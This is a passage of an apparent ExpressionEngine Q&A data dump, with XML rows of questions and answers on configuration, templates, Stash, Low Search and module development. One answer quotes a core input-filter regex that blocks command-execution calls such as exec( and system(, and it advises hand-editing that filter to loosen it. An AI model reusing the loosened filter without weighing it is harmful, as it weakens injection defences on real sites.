  <row Id="5315" PostTypeId="1" CreationDate="2013-01-23T21:49:23.550" Score="0" ViewCount="241" Body="&lt;p&gt;I have a unique situation where I'm reverse-proxying an EE site into another domain via Akamai. The origin hostname of the EE site is smallbusiness.pb.com and Akamai rewrites sends traffic coming in via www.pb.com/smb to that URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to make Structure navigation listings have the correct endpoint URL, I had to modify my Focus Lab LLC configuration by adding the following to my config.prod.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base_url = $protocol . 'www.pb.com' . '/smb';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything has been fine since I have been manually deploying from staging to production by synching the database and rsyncing files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I'm rolling out BetterWorkflow, however, I'm running into 403 Forbidden on Assets image thumbnail requests. Those requests are to the www.pb.com/smb URL instead of smallbusiness.pb.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample of the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Request URL:http://www.pb.com/smb/?ACT=59&amp;amp;file_id=2&amp;amp;size=67x67&amp;amp;hash=1352925992&#xA;Request Method:GET&#xA;Status Code:403 Forbidden&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Request Headers&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Accept:*/*&#xA;Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3&#xA;Accept-Encoding:gzip,deflate,sdch&#xA;Accept-Language:en-US,en;q=0.8&#xA;Cache-Control:no-cache&#xA;Connection:keep-alive&#xA;Cookie:[redacted]&#xA;Host:www.pb.com&#xA;Pragma:no-cache&#xA;Referer:http://smallbusiness.pb.com/smb/admin.php?S=0&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=3&amp;amp;entry_id=10&amp;amp;parent_id=0&#xA;User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17&#xA;Query String Parametersview sourceview URL encoded&#xA;ACT:59&#xA;file_id:2&#xA;size:67x67&#xA;hash:1352925992&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Response Headers&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Access-Control-Allow-Origin:*&#xA;Cache-Control:max-age=0&#xA;Connection:keep-alive&#xA;Content-Length:0&#xA;Content-Type:text/html&#xA;Date:Wed, 23 Jan 2013 21:34:55 GMT&#xA;Expires:Wed, 23 Jan 2013 21:34:58 GMT&#xA;Server:Apache&#xA;Set-Cookie:exp_last_activity=1358976898; expires=Thu, 23-Jan-2014 21:34:58 GMT; path=/&#xA;Vary:Accept-Encoding&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for is a way in my configuration file to have one base_url when browsing the control panel via smallbusiness.pb.com and another base_url when the public site is browsed via www.pb.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-01-24T12:42:12.223" Title="Different $base_url for CP versus public site?" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5316" PostTypeId="2" ParentId="5315" CreationDate="2013-01-23T22:19:22.060" Score="1" Body="&lt;p&gt;Without actually testing this maybe you could use a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/constants.html#request-constants&quot; rel=&quot;nofollow&quot;&gt;Request Contant&lt;/a&gt; along with a conditional like so in your FocusLab config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (REQ == 'CP')&#xA;{&#xA;    $base_url = $protocol . 'smallbusiness.pb.com';&#xA;}&#xA;else&#xA;{&#xA;    $base_url = $protocol . 'www.pb.com' . '/smb';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could edit this how you see fit of course though, it's a basic example/start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, please test and let us know :)&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-01-23T22:19:22.060" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5317" PostTypeId="5" CreationDate="2013-01-23T22:32:11.660" Score="0" Body="&lt;p&gt;The process of placing many EE configuration and database variables in a single file which can be used seamlessly in multiple environments.&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="55" LastEditDate="2013-01-23T23:07:57.267" LastActivityDate="2013-01-23T23:07:57.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5318" PostTypeId="4" CreationDate="2013-01-23T22:32:11.660" Score="0" Body="The process of placing many EE configuration and database variables in a single file which can be used seamlessly in multiple environments." OwnerUserId="411" LastEditorUserId="55" LastEditDate="2013-01-23T23:11:34.563" LastActivityDate="2013-01-23T23:11:34.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5319" PostTypeId="2" ParentId="5306" CreationDate="2013-01-23T23:33:06.687" Score="5" Body="&lt;p&gt;Try this to see if it works for you. I just tested, and it works just fine for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('signature')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To see all the values in the session values stored as userdata, just do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata);&#xA;exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-23T23:33:06.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5320" PostTypeId="2" ParentId="5311" CreationDate="2013-01-24T00:04:04.420" Score="2" Body="&lt;p&gt;It looks like Leevi Graham did &lt;a href=&quot;http://ellislab.com/forums/viewthread/76191/&quot; rel=&quot;nofollow&quot;&gt;something like this for EE1&lt;/a&gt;. I'm not sure how well it would work with Structure or other custom URL structures. I suppose you could look into doing something similar for EE2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd recommend considering an alternative approach. I'm not sure why you're needing to set the html ID to the template name, but maybe you can use something else here. If you're including the header via an embed or a &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;Stash template partial&lt;/a&gt;, you could specify this per template as you're including it (like you would the page title). I believe there would even be a way to &lt;a href=&quot;http://gotolow.com/blog/snippets-and-preload-replace-variables&quot; rel=&quot;nofollow&quot;&gt;trick it when using snippets&lt;/a&gt;, as well.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2013-01-24T00:04:04.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5321" PostTypeId="1" AcceptedAnswerId="5395" CreationDate="2013-01-24T01:08:03.347" Score="0" ViewCount="353" Body="&lt;p&gt;I am setting a list of entries added to a favorites list. Some of it works but the set_list portion doesn't. I cannot see why its not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:shortlist:view}{exp:stash:append name='dofoco-favorites'}{entry_id}|{/exp:stash:append}{/exp:shortlist:view}&#xA;&#xA;{exp:stash:set_list name='favorite_list'}&#xA;    {exp:channel:entries &#xA;         status=&quot;not closed&quot; &#xA;         entry_id=&quot;{exp:stash:get name='dofoco-favorites' backspace='1'}|0&quot; &#xA;         dynamic=&quot;no&quot; &#xA;         parse=&quot;inward&quot;&#xA;    }               &#xA;           {stash:favorite_thumbs}&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;{/stash:favorite_thumbs}                              &#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name='favorite_list'}{favorite_thumbs}{/exp:stash:get_list} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this outputs as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;side-navigation&quot;}&#xA;{exp:channel:entries&#xA;     status=&quot;not closed&quot;         &#xA;     entry_id=&quot;{exp:stash:get name='dofoco-favorites' backspace='1'}|0&quot; &#xA;     dynamic=&quot;no&quot;&#xA;     parse=&quot;inward&quot;                                         &#xA; }&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:get name=&quot;side-navigation&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-01-25T12:20:10.037" Title="Stash list is empty, but why?" Tags="|stash|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5322" PostTypeId="1" CreationDate="2013-01-24T01:36:21.733" Score="1" ViewCount="91" Body="&lt;p&gt;I have a small simple site that is one index page with four popup modals. Everything works fine on the iphone until I try to parse EE content into them. This is the first bit of EE content I am pulling into the site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;                                                   {exp:channel:entries channel=&quot;about&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;                                                &lt;p&gt;{about}&lt;/p&gt;&#xA;                                                {/exp:channel:entries}&lt;br&gt;&#xA;                                            &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once i do this it slows down so much that the site is unusable on the iphone... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats going on? I am just pulling in text? Is it something to do with the way its loading? The modals are controlled by javascript. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I load the content outside of the modals it loads quickly and is ok. The modals load okay on their on desktop only on iphone) - how can I fix this? I have enable caching, but its not doing anything....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not good! Please help! &lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="28" LastEditDate="2013-01-24T03:33:46.697" LastActivityDate="2013-01-24T03:38:22.643" Title="Javascript modals so slow when I parse EE content into them" Tags="|javascript|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5323" PostTypeId="2" ParentId="5321" CreationDate="2013-01-24T02:50:57.467" Score="0" Body="&lt;p&gt;Try adding &lt;code&gt;parse_tags='yes'&lt;/code&gt; to your set_list parameters and removing &lt;code&gt;parse='inward'&lt;/code&gt; from your channel entries tag.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-01-24T02:50:57.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5324" PostTypeId="2" ParentId="5293" CreationDate="2013-01-24T03:26:49.127" Score="3" Body="&lt;p&gt;If you can't find a solution with existing EE search addons, you could build a plugin to grab the entries that match your criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin could perform a custom query capable of doing the advanced conditionals you need. It could ultimately return a piped list of all the entries that match the category assignments desired:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;323|122|321|116|990&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could then use your plugin tag as the entry_id parameter in a standard EE entries tag (with parse=&quot;inward&quot; and dynamic=&quot;no&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id=&quot;{exp:your_addon:get_filtered_ids}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id=&quot;{exp:your_addon:get_filtered_ids categories='1|2&amp;amp;4' channel_id='2'}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could pass your category IDs to the plugin as a parameter or maybe even access as POST vars if desired. You would need to parse the strings in a way that makes sense to you in order to get your MySQL WHERE statements setup accurately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not the most elegant solution, and it would add an extra database query, but it could accomplish what you're looking for with a relatively simple plugin.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2013-01-24T03:26:49.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5325" PostTypeId="2" ParentId="5322" CreationDate="2013-01-24T03:33:10.847" Score="1" Body="&lt;p&gt;These aren't the issues obviously but I'd change two things in your code.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add &quot;category_fields&quot; to your disable=&quot;&quot; parameter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;disable=&quot;categories|member_data|pagination|category_fields&quot;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;If there is only one entry for &quot;About&quot;, then call the entry with the &lt;code&gt;entry_id=&quot;&quot;&lt;/code&gt; parameter. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Next, I'd look at trying another overlay plugin to see if it's an issue with the one you are using.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-24T03:33:10.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5326" PostTypeId="2" ParentId="5322" CreationDate="2013-01-24T03:38:22.643" Score="0" Body="&lt;p&gt;Dependant on the mechanism that fires ur modal, include the modal contents inside a hidden div on the page and refer to its #id, gets the rendering done on page load and makes the modal appear snappier.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-24T03:38:22.643" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5327" PostTypeId="1" AcceptedAnswerId="5328" CreationDate="2013-01-24T03:42:48.247" Score="3" ViewCount="432" Body="&lt;p&gt;I'm just learning EE and I have the following example url, &lt;a href=&quot;http://mydomain.com/work/preview/clientname&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/work/preview/clientname&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where I want clientname to match a channel field I have setup (&quot;client_name&quot;) and to pull in channel content only if it matches that channel field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://mydomain.com/work/preview/google&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/work/preview/google&lt;/a&gt;, would display channel content if the specified channel field &quot;client_name&quot; for a particular entry is &quot;google&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to use the following to pull in content from the channel &quot;videos&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but how do I accomplish this for different url segments?&lt;/p&gt;&#xA;" OwnerUserId="885" LastActivityDate="2013-01-24T03:45:57.970" Title="Content based on url segment" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5328" PostTypeId="2" ParentId="5327" CreationDate="2013-01-24T03:45:57.970" Score="3" Body="&lt;p&gt;This code will do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; search:client_name=&quot;{segment_3}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;    {if no_results} {redirect=&quot;404&quot;} {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-24T03:45:57.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5329" PostTypeId="2" ParentId="5272" CreationDate="2013-01-24T04:20:55.910" Score="1" Body="&lt;p&gt;Here's a fix from the &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18217&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Bug Report&lt;/strong&gt;&lt;/a&gt; which should eliminate the error: &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Open system/expressionengine/core/EE_Input.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find this code on line 110:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (preg_match(&quot;#(;|\?|exec\s*\(|system\s*\(|passthru\s*\(|cmd\s*\(|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})#i&quot;, $val)) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And REPLACE it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (preg_match(&quot;#(;|exec\s*\(|system\s*\(|passthru\s*\(|cmd\s*\()#i&quot;, $val))  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A couple options for redirecting:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;After you've made the change above, you should be able to create a template group called &quot;normal&quot; and add whatever you want into that template. Can you a specific message or can be redirect code to the 404 error page with &lt;code&gt;{redirect=&quot;404&quot;}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can handle this in your .htaccess file by redirecting any URL with &quot;normal&quot; to the index page or any page with something like the following:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On  &#xA;RewriteCond %{REQUEST_URI} normal  &#xA;RewriteRule .* index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: The above rewrite code is untested. &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;mod_rewrite docs&lt;/strong&gt;&lt;/a&gt; are here if you need to fine-tune the code.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-24T04:20:55.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5330" PostTypeId="2" ParentId="5313" CreationDate="2013-01-24T06:46:37.310" Score="3" Body="&lt;p&gt;No, Store doesn't support multiple currencies. It would require lots of changes to Store (to let you enter each price in each currency), as well as support from your merchant account bank and payment (most merchant accounts don't support multiple currencies).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best you can do is provide a &quot;live conversion&quot; service for your customers (using javascript), but make it clear they will still be charged in your base currency.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-24T06:46:37.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5331" PostTypeId="1" AcceptedAnswerId="5342" CreationDate="2013-01-24T08:36:18.787" Score="4" ViewCount="699" Body="&lt;p&gt;I have finally managed to get some kind of control panel area created, but cant figure out how to transfer my array over to the view page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My aim is to create an array from the database, then display the value of that field in the view page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mcp index function&#xA;&lt;code&gt;&#xA;    public function index()&#xA;    {&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;EE-&gt;cp-&gt;set_variable('cp_page_title', $this-&gt;EE-&gt;lang-&gt;line('currency_module_name'));&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('form');&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('table');&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('form_validation');         &#xA;&#xA;    $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM exp_currency&quot;);&#xA;&#xA;    $data = array (&#xA;        &quot;usd&quot; =&amp;gt; $query-&amp;gt;row('usd'),&#xA;        &quot;eur&quot; =&amp;gt; $query-&amp;gt;row('eur'),&#xA;        &quot;gbp&quot; =&amp;gt; $query-&amp;gt;row('gbp')&#xA;    );      &#xA;&#xA;    return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('add_currencies', $data, TRUE);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View file&#xA;&lt;code&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?=form_open()?&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;&#xA;        $this-&amp;gt;table-&amp;gt;set_heading(&#xA;            lang('USD'),&#xA;            lang('EUR'),&#xA;            lang('GBP')&#xA;        );&#xA;&#xA;        $this-&amp;gt;table-&amp;gt;add_row(&#xA;            form_input('usd', set_value('usd', $data['usd']), 'id=&quot;usd&quot;'),          &#xA;            form_input('eur', set_value('eur', $data['eur']), 'id=&quot;eur&quot;'),                          &#xA;            form_input('gbp', set_value('gbp', $data['gbp']), 'id=&quot;gbp&quot;')                           &#xA;        );&#xA;&#xA;        echo $this-&amp;gt;table-&amp;gt;generate();&#xA;&#xA;        $this-&amp;gt;table-&amp;gt;clear(); &#xA;&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;submit&quot; value=&quot;&amp;lt;?=lang('update_currencies')?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;?=form_close()?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can point me in the right direction, that would be great :)&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-01-24T12:42:10.417" Title="Creating my first module" Tags="|module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5332" PostTypeId="1" AcceptedAnswerId="5389" CreationDate="2013-01-24T08:40:08.380" Score="0" ViewCount="323" Body="&lt;p&gt;I am at a loss on how to implement Ajax in Low Search. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is currently no documentation on how to do Ajax with Low Search in the Low Search docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already perused some answers in expressionengines stackexchange(second question one is mine) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.stackexchange&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.stackexchange&lt;/a&gt;... &#xA;&lt;a href=&quot;http://expressionengine.stackexchange&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.stackexchange&lt;/a&gt;... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the answers are very cryptic, don't show any low search forms and results tag examples and doesn't really help anyone new to implementing Low Search with Ajax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone have a step-by-step tutorial on how to use Low Search with Ajax?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-25T08:22:42.580" Title="How to integrate Low Search with Ajax?" Tags="|low-search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5333" PostTypeId="1" CreationDate="2013-01-24T08:44:29.330" Score="2" ViewCount="131" Body="&lt;p&gt;I have a requirement to integrate an Expression Engine website with a third party recruitment system.  I need to be able to make HTTP Posts to a remote server that will return XML.  I also need to be able to filter the resulting XML using XPATH before transforming into HTML using XLST.  I have no requirement to import the information received from the XML files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best option going forward? Should I be looking to create a custom module for the project or simply allow PHP within given templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are a couple of modules that might be a good place to start I.e. Entry API but I'm looking for some advice from seasoned EE developers on the best way forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Carl&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-01-24T10:34:17.160" Title="Consuming HTTP Posts" Tags="|xml|http|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5334" PostTypeId="2" ParentId="5264" CreationDate="2013-01-24T09:11:16.990" Score="2" Body="&lt;p&gt;Currently, Low Search only supports non-exact matching for the search:field parameters &lt;em&gt;with multiple values only&lt;/em&gt;. Single value fields will work with the exact syntax. You could work around it in this case by making it a single value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select class=&quot;span12&quot; name=&quot;search:foo_gender&quot; id=&quot;foo_gender&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;    {exp:channel:entries channel=&quot;genders&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot;}&#xA;        &amp;lt;option value=&quot;={gender}&quot;&amp;gt;{gender}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of Low Search v2.2.0, this is now possible, with the &lt;code&gt;exact=&quot;&quot;&lt;/code&gt; parameter. Simplfied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form exact=&quot;search:foo_gender&quot;}&#xA;&#xA;    &amp;lt;label for=&quot;foo_gender&quot;&amp;gt;Gender:&amp;lt;/label&amp;gt;  &#xA;    &amp;lt;select name=&quot;search:foo_gender[]&quot; id=&quot;foo_gender&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;genders&quot;}&#xA;            &amp;lt;option value=&quot;{gender}&quot;&amp;gt;{gender}&amp;lt;/option&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-02-07T15:12:34.177" LastActivityDate="2013-02-07T15:12:34.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5335" PostTypeId="1" AcceptedAnswerId="5387" CreationDate="2013-01-24T09:11:38.610" Score="0" ViewCount="199" Body="&lt;p&gt;I'm using Safecracker to edit entries for the Channel Foo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I have another Channel Images which has a filename field and a relationship field that points to Channel Foo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, a Channel Foo entry can have 0 or more &quot;images&quot;(1-to-many)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I am editing entries, I may want to add new images to a Channel Foo entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do it in Safecracker?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-01-25T01:09:38.290" LastActivityDate="2013-01-25T01:37:20.657" Title="Safecracker and Channel Relationships" Tags="|safecracker|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5336" PostTypeId="1" AcceptedAnswerId="5350" CreationDate="2013-01-24T09:50:03.660" Score="2" ViewCount="251" Body="&lt;p&gt;We have a website, that displays a list of regional offices with their opening and closing times. Part of the design requires that each office is styled to show if its is open or closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our initial thoughts on how to handle this is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the current time &lt;code&gt;{current_time format=&quot;%G%i&quot;}&lt;/code&gt; so we have &lt;strong&gt;2033&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then have custom fields for each entry, these are &lt;code&gt;{office_open_time}&lt;/code&gt; and then &lt;code&gt;{office_close_time}&lt;/code&gt; these times are set &lt;strong&gt;using GMT&lt;/strong&gt; (the servers time) so lets take USA as an example 0900 in US time would be 1700 GMT, so the US times we set are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{office_open_time}&lt;/code&gt; = 1700&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{office_close_time}&lt;/code&gt; = 0100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our template then checks the times:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{current_time format=&quot;%G%i&quot;}&quot; &amp;lt;= &quot;{office_close_time}&quot; AND &quot;{current_time format=&quot;%G%i&quot;}&quot; &amp;gt;= &quot;{office_open_time}&quot;}                         &#xA;we are open!                    &#xA;{if:else}               &#xA;we are closed.                  &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the whole this works with a few exceptions and issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again lets say our time here in GMT is 2033. The US opening time set in GMT is 1700 so thats correct, but the closing time is 0100 - so the current time is never less than the closing time..!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there's also the issue of the weekend but I think we can do that by returning the date as a day and checking if it equals 